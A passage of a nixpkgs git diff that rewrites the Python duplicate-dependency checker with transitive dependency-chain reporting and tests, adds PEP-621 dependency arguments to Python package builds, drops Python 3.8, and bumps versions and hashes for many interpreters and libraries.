a/pkgs/development/interpreters/python/catch_conflicts/catch_conflicts.py b/pkgs/development/interpreters/python/catch_conflicts/catch_conflicts.py index d5c99e64751c7..d4219192790ba 100644 --- a/pkgs/development/interpreters/python/catch_conflicts/catch_conflicts.py +++ b/pkgs/development/interpreters/python/catch_conflicts/catch_conflicts.py @@ -2,28 +2,77 @@ from importlib.metadata import PathDistribution from pathlib import Path import collections import sys +import os +from typing import Dict, List, Tuple +do_abort: bool = False +packages: Dict[str, Dict[str, List[Dict[str, List[str]]]]] = collections.defaultdict(list) +out_path: Path = Path(os.getenv("out")) +version: Tuple[int, int] = sys.version_info +site_packages_path: str = f'lib/python{version[0]}.{version[1]}/site-packages' -do_abort = False -packages = collections.defaultdict(list) +def get_name(dist: PathDistribution) -> str: + return dist.metadata['name'].lower().replace('-', '_') -for path in sys.path: - for dist_info in Path(path).glob("*.dist-info"): - dist = PathDistribution(dist_info) +# pretty print a package +def describe_package(dist: PathDistribution) -> str: + return f"{get_name(dist)} {dist.version} ({dist._path})" - packages[dist._normalized_name].append( - f"{dist._normalized_name} {dist.version} ({dist._path})" - ) +# pretty print a list of parents (dependency chain) +def describe_parents(parents: List[str]) -> str: + if not parents: + return "" + return \ + f" dependency chain:\n " \ + + str(f"\n ...depending on: ".join(parents)) -for name, duplicates in packages.items(): - if len(duplicates) > 1: + +# inserts an entry into 'packages' +def add_entry(name: str, version: str, store_path: str, parents: List[str]) -> None: + if name not in packages: + packages[name] = {} + if store_path not in packages[name]: + packages[name][store_path] = [] + packages[name][store_path].append(dict( + version=version, + parents=parents, + )) + + +# transitively discover python dependencies and store them in 'packages' +def find_packages(store_path: Path, site_packages_path: str, parents: List[str]) -> None: + site_packages: Path = (store_path / site_packages_path) + propagated_build_inputs: Path = (store_path / "nix-support/propagated-build-inputs") + + # add the current package to the list + if site_packages.exists(): + for dist_info in site_packages.glob("*.dist-info"): + dist: PathDistribution = PathDistribution(dist_info) + add_entry(get_name(dist), dist.version, store_path, parents) + + # recursively add dependencies + if propagated_build_inputs.exists(): + with open(propagated_build_inputs, "r") as f: + build_inputs: List[str] = f.read().strip().split(" ") + for build_input in build_inputs: + find_packages(Path(build_input), site_packages_path, parents + [build_input]) + + +find_packages(out_path, site_packages_path, [f"this derivation: {out_path}"]) + +# print all duplicates +for name, store_paths in packages.items(): + if len(store_paths) > 1: do_abort = True print("Found duplicated packages in closure for dependency '{}': ".format(name)) - for duplicate in duplicates: - print(f"\t{duplicate}") + for store_path, candidates in store_paths.items(): + for candidate in candidates: + print(f" {name} {candidate['version']} ({store_path})") + print(describe_parents(candidate['parents'])) +# fail if duplicates were found if do_abort: print("") print( diff --git a/pkgs/development/interpreters/python/cpython/default.nix b/pkgs/development/interpreters/python/cpython/default.nix index 1eea842871fc1..0191517aa9ef7 100644 --- a/pkgs/development/interpreters/python/cpython/default.nix +++ b/pkgs/development/interpreters/python/cpython/default.nix @@ -95,9 +95,6 @@ assert x11Support -> tcl != null assert bluezSupport -> bluez != null; -assert lib.assertMsg (bluezSupport -> stdenv.isLinux) - "Bluez support is only available on Linux."; - assert lib.assertMsg (enableFramework -> stdenv.isDarwin) "Framework builds are only supported on Darwin."; diff --git a/pkgs/development/interpreters/python/default.nix b/pkgs/development/interpreters/python/default.nix index 1322673c1bc6b..12050f319fc0b 100644 --- a/pkgs/development/interpreters/python/default.nix +++ b/pkgs/development/interpreters/python/default.nix @@ -20,10 +20,10 @@ sourceVersion = { major = "3"; minor = "11"; - patch = "7"; + patch = "8"; suffix = ""; }; - hash = "sha256-GOGqfmb/OlhCPVntIoFaaVTlM0ISLEXfIMlod8Biubc="; + hash = "sha256-ngYAjIkBkkOVvB2jA+rFZ6cprgErqhgqs5Jp9lA4O7M="; }; }; @@ -42,19 +42,6 @@ in { inherit passthruFun; }; - python38 = callPackage ./cpython { - self = __splicedPackages.python38; - sourceVersion = { - major = "3"; - minor = "8"; - patch = "18"; - suffix = ""; - }; - hash = "sha256-P/txzTSaMmunsvrcfn34a6V33ZxJF+UqhAGtvadAXj8="; - inherit (darwin) configd; - inherit passthruFun; - }; - python39 = callPackage ./cpython { self = __splicedPackages.python39; sourceVersion = { @@ -92,10 +79,10 @@ in { sourceVersion = { major = "3"; minor = "12"; - patch = "1"; + patch = "2"; suffix = ""; }; - hash = "sha256-jfuPQm/NImZX+eK9Xx6W5TJkllF2+hfTJljoc1ka6yE="; + hash = "sha256-vigRLayBPSBTVFwUvxOhZAGiGHfxpp626l2ExKDz2HA="; inherit (darwin) configd; inherit passthruFun; }; diff --git a/pkgs/development/interpreters/python/hooks/default.nix b/pkgs/development/interpreters/python/hooks/default.nix index 0557c62eeff42..04b1f4a512c98 100644 --- a/pkgs/development/interpreters/python/hooks/default.nix +++ b/pkgs/development/interpreters/python/hooks/default.nix @@ -8,7 +8,9 @@ let pythonCheckInterpreter = python.interpreter; setuppy = ../run_setup.py; in { - makePythonHook = args: pkgs.makeSetupHook ({passthru.provides.setupHook = true; } // args); + makePythonHook = let + defaultArgs = { passthru.provides.setupHook = true; }; + in args: pkgs.makeSetupHook (lib.recursiveUpdate defaultArgs args); condaInstallHook = callPackage ({ makePythonHook, gnutar, lbzip2 }: makePythonHook { @@ -68,8 +70,8 @@ in { # Such conflicts don't happen within the standard nixpkgs python package # set, but in downstream projects that build packages depending on other # versions of this hook's dependencies. - passthru.tests = import ./pypa-build-hook-test.nix { - inherit pythonOnBuildForHost runCommand; + passthru.tests = callPackage ./pypa-build-hook-test.nix { + inherit pythonOnBuildForHost; }; } ./pypa-build-hook.sh) { inherit (pythonOnBuildForHost.pkgs) build; @@ -108,7 +110,7 @@ in { makePythonHook { name = "python-catch-conflicts-hook"; substitutions = let - useLegacyHook = lib.versionOlder python.pythonVersion "3.10"; + useLegacyHook = lib.versionOlder python.pythonVersion "3"; in { inherit pythonInterpreter pythonSitePackages; catchConflicts = if useLegacyHook then @@ -118,6 +120,10 @@ in { } // lib.optionalAttrs useLegacyHook { inherit setuptools; }; + passthru.tests = import ./python-catch-conflicts-hook-tests.nix { + inherit pythonOnBuildForHost runCommand; + inherit (pkgs) coreutils gnugrep writeShellScript; + }; } ./python-catch-conflicts-hook.sh) {}; pythonImportsCheckHook = callPackage ({ makePythonHook }: diff --git a/pkgs/development/interpreters/python/hooks/python-catch-conflicts-hook-tests.nix b/pkgs/development/interpreters/python/hooks/python-catch-conflicts-hook-tests.nix new file mode 100644 index 0000000000000..f3d9235799e01 --- /dev/null +++ b/pkgs/development/interpreters/python/hooks/python-catch-conflicts-hook-tests.nix @@ -0,0 +1,137 @@ +{ pythonOnBuildForHost, runCommand, writeShellScript, coreutils, gnugrep }: let + + pythonPkgs = pythonOnBuildForHost.pkgs; + + ### UTILITIES + + # customize a package so that its store paths differs + customize = pkg: pkg.overrideAttrs { some_modification = true; }; + + # generates minimal pyproject.toml + pyprojectToml = pname: builtins.toFile "pyproject.toml" '' + [project] + name = "${pname}" + version = "1.0.0" + ''; + + # generates source for a python project + projectSource = pname: runCommand "my-project-source" {} '' + mkdir -p $out/src + cp ${pyprojectToml pname} $out/pyproject.toml + touch $out/src/__init__.py + ''; + + # helper to reduce boilerplate + generatePythonPackage = args: pythonPkgs.buildPythonPackage ( + { + version = "1.0.0"; + src = runCommand "my-project-source" {} '' + mkdir -p $out/src + cp ${pyprojectToml args.pname} $out/pyproject.toml + touch $out/src/__init__.py + ''; + pyproject = true; + catchConflicts = true; + buildInputs = [ pythonPkgs.setuptools ]; + } + // args + ); + + # in order to test for a failing build, wrap it in a shell script + expectFailure = build: errorMsg: build.overrideDerivation (old: { + builder = writeShellScript "test-for-failure" '' + export PATH=${coreutils}/bin:${gnugrep}/bin:$PATH + ${old.builder} "$@" > ./log 2>&1 + status=$? + cat ./log + if [ $status -eq 0 ] || ! grep -q "${errorMsg}" ./log; then + echo "The build should have failed with '${errorMsg}', but it didn't" + exit 1 + else + echo "The build failed as expected with: ${errorMsg}" + mkdir -p $out + fi + ''; + }); +in { + + ### TEST CASES + + # Test case which must not trigger any conflicts. + # This derivation has runtime dependencies on custom versions of multiple build tools. + # This scenario is relevant for lang2nix tools which do not override the nixpkgs fix-point. + # see https://github.com/NixOS/nixpkgs/issues/283695 + ignores-build-time-deps = + generatePythonPackage { + pname = "ignores-build-time-deps"; + buildInputs = [ + pythonPkgs.build + pythonPkgs.packaging + pythonPkgs.setuptools + pythonPkgs.wheel + ]; + propagatedBuildInputs = [ + # Add customized versions of build tools as runtime deps + (customize pythonPkgs.packaging) + (customize pythonPkgs.setuptools) + (customize pythonPkgs.wheel) + ]; + }; + + # Simplest test case that should trigger a conflict + catches-simple-conflict = let + # this build must fail due to conflicts + package = pythonPkgs.buildPythonPackage rec { + pname = "catches-simple-conflict"; + version = "0.0.0"; + src = projectSource pname; + pyproject = true; + catchConflicts = true; + buildInputs = [ + pythonPkgs.setuptools + ]; + # depend on two different versions of packaging + # (an actual runtime dependency conflict) + propagatedBuildInputs = [ + pythonPkgs.packaging + (customize pythonPkgs.packaging) + ]; + }; + in + expectFailure package "Found duplicated packages in closure for dependency 'packaging'"; + + + /* + More complex test case with a transitive conflict + + Test sets up this dependency tree: + + toplevel + ├── dep1 + │ └── leaf + └── dep2 + └── leaf (customized version -> conflicting) + */ + catches-transitive-conflict = let + # package depending on both dependency1 and dependency2 + toplevel = generatePythonPackage { + pname = "catches-transitive-conflict"; + propagatedBuildInputs = [ dep1 dep2 ]; + }; + # dep1 package depending on leaf + dep1 = generatePythonPackage { + pname = "dependency1"; + propagatedBuildInputs = [ leaf ]; + }; + # dep2 package depending on conflicting version of leaf + dep2 = generatePythonPackage { + pname = "dependency2"; + propagatedBuildInputs = [ (customize leaf) ]; + }; + # some leaf package + leaf = generatePythonPackage { + pname = "leaf"; + }; + in + expectFailure toplevel "Found duplicated packages in closure for dependency 'leaf'"; +} diff --git a/pkgs/development/interpreters/python/mk-python-derivation.nix b/pkgs/development/interpreters/python/mk-python-derivation.nix index 6944f70a4918b..074ccbf1bd23a 100644 --- a/pkgs/development/interpreters/python/mk-python-derivation.nix +++ b/pkgs/development/interpreters/python/mk-python-derivation.nix @@ -45,6 +45,14 @@ # C can import package A propagated by B , propagatedBuildInputs ? [] +# Python module dependencies. +# These are named after PEP-621. +, dependencies ? [] +, optional-dependencies ? {} + +# Python PEP-517 build systems. +, build-system ? [] + # DEPRECATED: use propagatedBuildInputs , pythonPath ? [] @@ -97,8 +105,6 @@ , meta ? {} -, passthru ? {} - , doCheck ? config.doCheckByDefault or false , disabledTestPaths ? [] @@ -193,10 +199,28 @@ let "setuptools" "wheel" ]; + passthru = + attrs.passthru or { } + // { + updateScript = let + filename = builtins.head (lib.splitString ":" self.meta.position); + in attrs.passthru.updateScript or [ update-python-libraries filename ]; + } + // lib.optionalAttrs (dependencies != []) { + inherit dependencies; + } + // lib.optionalAttrs (optional-dependencies != {}) { + inherit optional-dependencies; + } + // lib.optionalAttrs (build-system != []) { + inherit build-system; + }; + # Keep extra attributes from `attrs`, e.g., `patchPhase', etc. self = toPythonModule (stdenv.mkDerivation ((builtins.removeAttrs attrs [ "disabled" "checkPhase" "checkInputs" "nativeCheckInputs" "doCheck" "doInstallCheck" "dontWrapPythonPrograms" "catchConflicts" "pyproject" "format" "disabledTestPaths" "outputs" "stdenv" + "dependencies" "optional-dependencies" "build-system" ]) // { name = namePrefix + name_; @@ -256,11 +280,11 @@ let pythonNamespacesHook ] ++ lib.optionals withDistOutput [ pythonOutputDistHook - ] ++ nativeBuildInputs; + ] ++ nativeBuildInputs ++ build-system; buildInputs = validatePythonMatches "buildInputs" (buildInputs ++ pythonPath); - propagatedBuildInputs = validatePythonMatches "propagatedBuildInputs" (propagatedBuildInputs ++ [ + propagatedBuildInputs = validatePythonMatches "propagatedBuildInputs" (propagatedBuildInputs ++ dependencies ++ [ # we propagate python even for packages transformed with 'toPythonApplication' # this pollutes the PATH but avoids rebuilds # see https://github.com/NixOS/nixpkgs/issues/170887 for more context @@ -292,6 +316,8 @@ let outputs = outputs ++ lib.optional withDistOutput "dist"; + inherit passthru; + meta = { # default to python's platforms platforms = python.meta.platforms; @@ -305,13 +331,7 @@ let disabledTestPaths = lib.escapeShellArgs disabledTestPaths; })); - passthru.updateScript = let - filename = builtins.head (lib.splitString ":" self.meta.position); - in attrs.passthru.updateScript or [ update-python-libraries filename ]; -in - if disabled then - throw "${name} not supported for interpreter ${python.executable}" -else - self.overrideAttrs (attrs: { - passthru = lib.recursiveUpdate passthru attrs.passthru; - }) +in lib.extendDerivation + (disabled -> throw "${name} not supported for interpreter ${python.executable}") + passthru + self diff --git a/pkgs/development/interpreters/rakudo/default.nix b/pkgs/development/interpreters/rakudo/default.nix index db3153dc370fd..bb0b8bcdcae8a 100644 --- a/pkgs/development/interpreters/rakudo/default.nix +++ b/pkgs/development/interpreters/rakudo/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "rakudo"; - version = "2023.08"; + version = "2024.01"; src = fetchFromGitHub { owner = "rakudo"; repo = "rakudo"; rev = version; - hash = "sha256-wvHMyXMkI2RarmUeC8lKGgy3TNmVQsZo/3D/eS4FUrI="; + hash = "sha256-E4YwLds0eoh8PxcACntynQKeg8lRIsEy+JOiv8nF2t0="; fetchSubmodules = true; }; diff --git a/pkgs/development/interpreters/rakudo/nqp.nix b/pkgs/development/interpreters/rakudo/nqp.nix index c774a65d01c4e..75d4964d15b9c 100644 --- a/pkgs/development/interpreters/rakudo/nqp.nix +++ b/pkgs/development/interpreters/rakudo/nqp.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "nqp"; - version = "2023.08"; + version = "2024.01"; src = fetchFromGitHub { owner = "raku"; repo = "nqp"; rev = version; - hash = "sha256-kVNj6zDT0z6eFxtTovpT1grbl0pygsPKkFoVcFW7baI="; + hash = "sha256-vcGj+PKCpCRLyjS158+U42BppJ0Yl53srZCde+fng0c="; fetchSubmodules = true; }; diff --git a/pkgs/development/interpreters/rakudo/zef.nix b/pkgs/development/interpreters/rakudo/zef.nix index 60c14d9d4641b..158fd6df4eb52 100644 --- a/pkgs/development/interpreters/rakudo/zef.nix +++ b/pkgs/development/interpreters/rakudo/zef.nix @@ -7,13 +7,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "zef"; - version = "0.21.2"; + version = "0.21.4"; src = fetchFromGitHub { owner = "ugexe"; repo = "zef"; rev = "v${finalAttrs.version}"; - hash = "sha256-7mqKcioMal4OR/xlzQ/EgGICau7Ijc13j4pSfu4/74E="; + hash = "sha256-k6jihTDbaSXv+XvfqxGIyCdD005tG8l3mSIkNG6FwPQ="; }; nativeBuildInputs = [ diff --git a/pkgs/development/interpreters/rascal/default.nix b/pkgs/development/interpreters/rascal/default.nix index aab9fffcd6052..409a34d8cfe64 100644 --- a/pkgs/development/interpreters/rascal/default.nix +++ b/pkgs/development/interpreters/rascal/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "rascal"; - version = "0.28.2"; + version = "0.33.8"; src = fetchurl { url = "https://update.rascal-mpl.org/console/${pname}-${version}.jar"; - sha256 = "sha256-KMoGTegjXuGSzNnwH6SkcM5GC/F3oluvFrlJ51Pms3M="; + sha256 = "sha256-8m7+ME0mu9LEMzklkz1CZ9s7ZCMjoA5oreICFSpb4S8="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/development/interpreters/ruby/default.nix b/pkgs/development/interpreters/ruby/default.nix index 781b3273e3a9e..9ec7a448b59f7 100644 --- a/pkgs/development/interpreters/ruby/default.nix +++ b/pkgs/development/interpreters/ruby/default.nix @@ -24,7 +24,7 @@ let atLeast32 = lib.versionAtLeast ver.majMin "3.2"; # https://github.com/ruby/ruby/blob/v3_2_2/yjit.h#L21 yjitSupported = atLeast32 && (stdenv.hostPlatform.isx86_64 || (!stdenv.hostPlatform.isWindows && stdenv.hostPlatform.isAarch64)); - self = lib.makeOverridable ( + rubyDrv = lib.makeOverridable ( { stdenv, buildPackages, lib , fetchurl, fetchpatch, fetchFromSavannah, fetchFromGitHub , rubygemsSupport ? true @@ -58,7 +58,7 @@ let } , useBaseRuby ? stdenv.hostPlatform != stdenv.buildPlatform }: - stdenv.mkDerivation rec { + stdenv.mkDerivation ( finalAttrs: { pname = "ruby"; inherit version; @@ -123,8 +123,8 @@ let cargoRoot = opString yjitSupport "yjit"; cargoDeps = if yjitSupport then rustPlatform.fetchCargoTarball { - inherit src; - sourceRoot = "${pname}-${version}/${cargoRoot}"; + inherit (finalAttrs) src; + sourceRoot = "${finalAttrs.pname}-${version}/${finalAttrs.cargoRoot}"; hash = cargoHash; } else null; @@ -175,8 +175,8 @@ let preInstall = '' # Ruby installs gems here itself now. - mkdir -pv "$out/${passthru.gemPath}" - export GEM_HOME="$out/${passthru.gemPath}" + mkdir -pv "$out/${finalAttrs.passthru.gemPath}" + export GEM_HOME="$out/${finalAttrs.passthru.gemPath}" ''; installFlags = lib.optional docSupport "install-doc"; @@ -202,19 +202,21 @@ let # Allow to override compiler. This is important for cross compiling as # we need to set a compiler that is different from the build one. - sed -i 's/CONFIG\["CC"\] = "\(.*\)"/CONFIG["CC"] = if ENV["CC"].nil? || ENV["CC"].empty? then "\1" else ENV["CC"] end/' "$rbConfig" + sed -i "$rbConfig" \ + -e 's/CONFIG\["CC"\] = "\(.*\)"/CONFIG["CC"] = if ENV["CC"].nil? || ENV["CC"].empty? then "\1" else ENV["CC"] end/' \ + -e 's/CONFIG\["CXX"\] = "\(.*\)"/CONFIG["CXX"] = if ENV["CXX"].nil? || ENV["CXX"].empty? then "\1" else ENV["CXX"] end/' # Remove unnecessary external intermediate files created by gems - extMakefiles=$(find $out/${passthru.gemPath} -name Makefile) + extMakefiles=$(find $out/${finalAttrs.passthru.gemPath} -name Makefile) for makefile in $extMakefiles; do make -C "$(dirname "$makefile")" distclean done - find "$out/${passthru.gemPath}" \( -name gem_make.out -o -name mkmf.log \) -delete + find "$out/${finalAttrs.passthru.gemPath}" \( -name gem_make.out -o -name mkmf.log \) -delete # Bundler tries to create this directory mkdir -p $out/nix-support cat > $out/nix-support/setup-hook <<EOF addGemPath() { - addToSearchPath GEM_PATH \$1/${passthru.gemPath} + addToSearchPath GEM_PATH \$1/${finalAttrs.passthru.gemPath} } addRubyLibPath() { addToSearchPath RUBYLIB \$1/lib/ruby/site_ruby @@ -274,21 +276,20 @@ let gemPath = "lib/${rubyEngine}/gems/${ver.libDir}"; devEnv = import ./dev.nix { inherit buildEnv bundler bundix; - ruby = self; + ruby = finalAttrs.finalPackage; }; inherit rubygems; inherit (import ../../ruby-modules/with-packages { inherit lib stdenv makeBinaryWrapper buildRubyGem buildEnv; gemConfig = defaultGemConfig; - ruby = self; + ruby = finalAttrs.finalPackage; }) withPackages buildGems gems; - } // lib.optionalAttrs useBaseRuby { inherit baseRuby; }; - } - ) args; in self; + } ) + ) args; in rubyDrv; in { mkRubyVersion = rubyVersion; diff --git a/pkgs/development/interpreters/ruby/rubygems/default.nix b/pkgs/development/interpreters/ruby/rubygems/default.nix index dd89e0cd41d79..2c756931169a9 100644 --- a/pkgs/development/interpreters/ruby/rubygems/default.nix +++ b/pkgs/development/interpreters/ruby/rubygems/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "rubygems"; - version = "3.5.5"; + version = "3.5.6"; src = fetchurl { url = "https://rubygems.org/rubygems/rubygems-${version}.tgz"; - hash = "sha256-ErKsKMIEvs4oA8eS9v1ASfqlMOJOxeTVfCA99AIcTh0="; + hash = "sha256-8/zAMnzuC3677i7wFKQroFtAMtfhg0280xZd3nAMmcI="; }; patches = [ diff --git a/pkgs/development/interpreters/wasmer/default.nix b/pkgs/development/interpreters/wasmer/default.nix index f5621cd57d189..0a5e888b06cd8 100644 --- a/pkgs/development/interpreters/wasmer/default.nix +++ b/pkgs/development/interpreters/wasmer/default.nix @@ -14,16 +14,16 @@ rustPlatform.buildRustPackage rec { pname = "wasmer"; - version = "4.2.5"; + version = "4.2.6"; src = fetchFromGitHub { owner = "wasmerio"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-zCaN0F6a8qkZkOmHMU0D70KaY4H8pUXElJbyvOCjogc="; + hash = "sha256-FSplJAVdy/b0HXvW1qny052I7Fm9EA83/XqmgEvneeg="; }; - cargoHash = "sha256-ugysqLQlnSzm0W4zW6LPSn6KjwpAtJZGEkzk/nWahWg="; + cargoHash = "sha256-OYHPudXGsDLVx6XKTsJTxqG5cbOAD25sd5KJDyU9lvY="; nativeBuildInputs = [ rustPlatform.bindgenHook diff --git a/pkgs/development/interpreters/wasmtime/default.nix b/pkgs/development/interpreters/wasmtime/default.nix index 330f4bfba6b65..72f1d6eb4a126 100644 --- a/pkgs/development/interpreters/wasmtime/default.nix +++ b/pkgs/development/interpreters/wasmtime/default.nix @@ -2,19 +2,19 @@ rustPlatform.buildRustPackage rec { pname = "wasmtime"; - version = "17.0.1"; + version = "18.0.2"; src = fetchFromGitHub { owner = "bytecodealliance"; repo = pname; rev = "v${version}"; - hash = "sha256-a1i6tYc6qMk0tNIo5BsC+ZaJyLaupmBhIIm6UVjD1U8="; + hash = "sha256-R/emS2h9YM9LwgQARphFPaX1S62T8Rwqs0uLq1y929o="; fetchSubmodules = true; }; # Disable cargo-auditable until https://github.com/rust-secure-code/cargo-auditable/issues/124 is solved. auditable = false; - cargoHash = "sha256-PcN/cdezjjwC0Rk/QlNthNt5M3jRjxcCEd31GTVNHnU="; + cargoHash = "sha256-r7fmKriChDvd09eynpxVOywBMkArMR4epsmtY6U6JI4="; cargoBuildFlags = [ "--package" "wasmtime-cli" "--package" "wasmtime-c-api" ]; outputs = [ "out" "dev" ]; diff --git a/pkgs/development/java-modules/postgresql_jdbc/default.nix b/pkgs/development/java-modules/postgresql_jdbc/default.nix index 3dc82f9c0761c..f1e93e352eb83 100644 --- a/pkgs/development/java-modules/postgresql_jdbc/default.nix +++ b/pkgs/development/java-modules/postgresql_jdbc/default.nix @@ -2,12 +2,12 @@ stdenv.mkDerivation rec { pname = "postgresql-jdbc"; - version = "42.6.0"; + version = "42.6.1"; src = fetchMavenArtifact { artifactId = "postgresql"; groupId = "org.postgresql"; - hash = "sha256-uBfGekDJQkn9WdTmhuMyftDT0/rkJrINoPHnVlLPxGE="; + hash = "sha256-ywd0/X0JsjniHp0Es3RKQId7/0Y6jVjD9AfPfZdsNVc="; inherit version; }; diff --git a/pkgs/development/libraries/CGAL/default.nix b/pkgs/development/libraries/CGAL/default.nix index 672facdc230cf..e7d26606f2715 100644 --- a/pkgs/development/libraries/CGAL/default.nix +++ b/pkgs/development/libraries/CGAL/default.nix @@ -8,11 +8,11 @@ stdenv.mkDerivation rec { pname = "cgal"; - version = "5.5.3"; + version = "5.6.1"; src = fetchurl { url = "https://github.com/CGAL/cgal/releases/download/v${version}/CGAL-${version}.tar.xz"; - hash = "sha256-CgT2YmkyVjKLBbq/q7XjpbfbL1pY1S48Ug350IKN3XM="; + hash = "sha256-zbFefuMeBmNYnTEHp5mIo3t7FxnfPSTyBYVF0bzdWDc="; }; # note: optional component libCGAL_ImageIO would need zlib and opengl; diff --git a/pkgs/development/libraries/SDL2/default.nix b/pkgs/development/libraries/SDL2/default.nix index 2532bab798bcb..1aac55d6ef9ee 100644 --- a/pkgs/development/libraries/SDL2/default.nix +++ b/pkgs/development/libraries/SDL2/default.nix @@ -48,8 +48,8 @@ , OpenGL , audiofile , libiconv -, withStatic ? false -# passthru.tests +, withStatic ? stdenv.hostPlatform.isMinGW + # passthru.tests , testers }: @@ -58,13 +58,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "SDL2"; - version = "2.28.5"; + version = "2.30.0"; src = fetchFromGitHub { owner = "libsdl-org"; repo = "SDL"; rev = "release-${finalAttrs.version}"; - hash = "sha256-YcM7bfLo+KkWx8LdtG4z2UwJvzlEkvIkm+M5aMSztwU="; + hash = "sha256-uKL9/T6vCEqMqmD3Q3rCMtKPRJZ4fRYVUr+4628/Ajg="; }; dontDisableStatic = if withStatic then 1 else 0; outputs = [ "out" "dev" ]; @@ -172,7 +172,7 @@ stdenv.mkDerivation (finalAttrs: { passthru = { inherit openglSupport; - updateScript = nix-update-script { extraArgs = ["--version-regex" "release-(.*)"]; }; + updateScript = nix-update-script { extraArgs = [ "--version-regex" "release-(.*)" ]; }; tests.pkg-config = testers.hasPkgConfigModules { package = finalAttrs.finalPackage; }; diff --git a/pkgs/development/libraries/abseil-cpp/202206.nix b/pkgs/development/libraries/abseil-cpp/202206.nix index a605be3c05edf..5dda078a3a901 100644 --- a/pkgs/development/libraries/abseil-cpp/202206.nix +++ b/pkgs/development/libraries/abseil-cpp/202206.nix @@ -1,7 +1,6 @@ { lib , stdenv , fetchFromGitHub -, fetchpatch , cmake , static ? stdenv.hostPlatform.isStatic , cxxStandard ? null @@ -9,13 +8,13 @@ stdenv.mkDerivation rec { pname = "abseil-cpp"; - version = "20220623.1"; + version = "20220623.2"; src = fetchFromGitHub { owner = "abseil"; repo = "abseil-cpp"; rev = "refs/tags/${version}"; - hash = "sha256-Od1FZOOWEXVQsnZBwGjDIExi6LdYtomyL0STR44SsG8="; + hash = "sha256-ma8QJfSySsk2XVLA0rhwYJMQx+6HxMFgub6gi5mDrLI="; }; patches = lib.optionals stdenv.isDarwin [ diff --git a/pkgs/development/libraries/abseil-cpp/202301.nix b/pkgs/development/libraries/abseil-cpp/202301.nix index 4676264c26d74..b2d4f437473f3 100644 --- a/pkgs/development/libraries/abseil-cpp/202301.nix +++ b/pkgs/development/libraries/abseil-cpp/202301.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "abseil-cpp"; - version = "20230125.3"; + version = "20230125.4"; src = fetchFromGitHub { owner = "abseil"; repo = "abseil-cpp"; rev = "refs/tags/${finalAttrs.version}"; - hash = "sha256-PLoI7ix+reUqkZ947kWzls8lujYqWXk9A9a55UcfahI="; + hash = "sha256-7C/QIXYRyUyNVVE0tqmv8b5g/uWc58iBI5jzdtddQ+U="; }; patches = lib.optionals stdenv.isDarwin [ diff --git a/pkgs/development/libraries/abseil-cpp/202308.nix b/pkgs/development/libraries/abseil-cpp/202308.nix index 7ec0ac8a775f9..f3aac7d1388bd 100644 --- a/pkgs/development/libraries/abseil-cpp/202308.nix +++ b/pkgs/development/libraries/abseil-cpp/202308.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "abseil-cpp"; - version = "20230802.1"; + version = "20230802.2"; src = fetchFromGitHub { owner = "abseil"; repo = "abseil-cpp"; rev = "refs/tags/${finalAttrs.version}"; - hash = "sha256-uNGrTNg5G5xFGtc+BSWE389x0tQ/KxJQLHfebNWas/k="; + hash = "sha256-wW7dCqiiHyBHiizyV0+M6p17itwTpzHv/T0/mcXyYWE="; }; cmakeFlags = [ diff --git a/pkgs/development/libraries/accounts-qt/default.nix b/pkgs/development/libraries/accounts-qt/default.nix index 7549f02fc56c3..7d2617a6ee605 100644 --- a/pkgs/development/libraries/accounts-qt/default.nix +++ b/pkgs/development/libraries/accounts-qt/default.nix @@ -1,14 +1,15 @@ { stdenv, lib, fetchFromGitLab, doxygen, glib, libaccounts-glib, pkg-config, qmake, qtbase, wrapQtAppsHook }: -stdenv.mkDerivation rec { +stdenv.mkDerivation { pname = "accounts-qt"; - version = "1.16"; + version = "1.16-unstable-2023-11-24"; + # pinned to fork with Qt6 support src = fetchFromGitLab { - sha256 = "1vmpjvysm0ld8dqnx8msa15hlhrkny02cqycsh4k2azrnijg0xjz"; - rev = "VERSION_${version}"; + owner = "nicolasfella"; repo = "libaccounts-qt"; - owner = "accounts-sso"; + rev = "18557f7def9af8f4a9e0e93e9f575ae11e5066aa"; + hash = "sha256-8FGZmg2ljSh1DYZfklMTrWN7Sdlk/Atw0qfpbb+GaBc="; }; propagatedBuildInputs = [ glib libaccounts-glib ]; diff --git a/pkgs/development/libraries/ada/spark2014/default.nix b/pkgs/development/libraries/ada/spark2014/default.nix deleted file mode 100644 index a52a5ac63f710..0000000000000 --- a/pkgs/development/libraries/ada/spark2014/default.nix +++ /dev/null @@ -1,67 +0,0 @@ -{ stdenv -, lib -, fetchFromGitHub -, gnat12 -, gnatcoll-core -, gprbuild -, python3 -, ocamlPackages -, makeWrapper -}: - -stdenv.mkDerivation rec { - pname = "spark2014"; - version = "unstable-2022-05-25"; - - src = fetchFromGitHub { - owner = "AdaCore"; - repo = "spark2014"; - # commit on fsf-12 branch - rev = "ab34e07080a769b63beacc141707b5885c49d375"; - sha256 = "sha256-7pe3eWitpxmqzjW6qEIEuN0qr2IR+kJ7Ssc9pTBcCD8="; - fetchSubmodules = true; - }; - - nativeBuildInputs = [ - gnat12 - gprbuild - python3 - ocamlPackages.ocaml - makeWrapper - ]; - - buildInputs = [ - gnatcoll-core - ocamlPackages.camlzip - ocamlPackages.findlib - ocamlPackages.menhir - ocamlPackages.menhirLib - ocamlPackages.num - ocamlPackages.yojson - ocamlPackages.zarith - ]; - - postPatch = '' - # gnat2why/gnat_src points to the GNAT sources - tar xf ${gnat12.cc.src} gcc-${gnat12.cc.version}/gcc/ada - mv gcc-${gnat12.cc.version}/gcc/ada gnat2why/gnat_src - ''; - - configurePhase = '' - make setup - ''; - - installPhase = '' - make install-all - cp -a ./install/. $out - ''; - - meta = with lib; { - description = "a software development technology specifically designed for engineering high-reliability applications"; - homepage = "https://github.com/AdaCore/spark2014"; - maintainers = [ maintainers.jiegec ]; - license = licenses.gpl3; - platforms = platforms.all; - }; -} - diff --git a/pkgs/development/libraries/agda/cubical/default.nix b/pkgs/development/libraries/agda/cubical/default.nix index 50ca17a10a25a..3747535bec9d3 100644 --- a/pkgs/development/libraries/agda/cubical/default.nix +++ 